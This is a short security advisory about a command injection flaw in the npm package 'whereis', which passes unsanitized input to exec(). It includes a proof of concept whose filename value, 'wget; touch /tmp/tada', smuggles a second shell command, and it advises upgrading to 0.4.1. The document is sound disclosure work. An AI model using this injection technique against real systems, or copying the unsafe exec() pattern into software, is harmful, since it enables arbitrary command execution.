Arbitrary Command Injection

Overview

whereis is a tool to get the first path to a bin on any system.

Affected versions of this package are vulnerable to Arbitrary Command Injection. It concatenates unsanitized user input into exec() command

PoC by ChALkeR

var whereis = require('whereis');
var filename = 'wget; touch /tmp/tada';
whereis(filename, function(err, path) {
  console.log(path);
});

Observe file /tmp/tada created.

Remediation

Upgrade whereis to version 0.4.1 or higher.

References

• HackerOne Report
• GitHub Commit